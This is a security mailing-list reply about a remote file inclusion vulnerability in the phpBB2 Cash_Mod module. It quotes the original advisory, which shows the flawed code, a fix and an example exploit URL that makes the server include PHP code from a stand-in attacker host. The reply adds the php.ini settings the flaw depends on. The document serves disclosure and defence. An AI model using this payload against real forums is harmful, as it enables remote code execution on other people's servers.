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Re: Vulnerabilities in forum phpBB2 with Cash_Mod (all ver.)




Let me just point out that this vulnerability can only be exploited if
two options in php.ini are enabled:

- allow_url_fopen
- register_globals

The first one allows to access and retrieve http resources from fopen;
the second lets a user specify GET or POST parameters that will be
translated into PHP variables.

For more information about PHP insertion and how it can be recognized
and exploited:
http://www.fistconference.org/data/presentaciones/exploitingwebapplications.tar

Greetings.

-------------------------------
Rafael San Miguel Carrasco
Security Consultant
Davinci Consulting
-------------------------------

Jerome ATHIAS wrote:

Hi all phpBB is a very popular message board using modules extensions. One of these module – Cash_Mod is a very popular one and is used by many people. It has critical vulnerabilities, one of them letting anyone inject malicious PHP code that will be executed on the server side. Let’s start : In file /admin/admin_cash.php ….. if ( !empty($setmodules) ) { include($phpbb_root_path . 'includes/functions_cash.'.$phpEx); $menu = array(); admin_menu($menu); …. First, nothing seems wrong! It’s just a normal piece of code with “include” functions, but $phpbb_root_path & .$phpEx – are *NOT* define yet!

I don’t know why, but someone decided to define these variables later in the code : …… // // Let's set the root dir for phpBB // $phpbb_root_path = "./../"; require($phpbb_root_path . 'extension.inc'); require('./pagestart.' . $phpEx); include($phpbb_root_path . 'includes/functions_selects.'.$phpEx); ….. Well, any user can rewrite these parameters with GET or POST requests. Example : http://victim.host/phpBB2/admin/admin_cash.php?setmodules=1&phpbb_root_path=http://bad.host/

Fix : Set all default parameters after “if ( !empty($setmodules) )” Example : // // Let's set the root dir for phpBB // $phpbb_root_path = "./../"; require($phpbb_root_path . 'extension.inc'); require('./pagestart.' . $phpEx); include($phpbb_root_path . 'includes/functions_selects.'.$phpEx); if ( !empty($setmodules) ) { include($phpbb_root_path . 'includes/functions_cash.'.$phpEx); $menu = array(); admin_menu($menu);

Thank you rofl!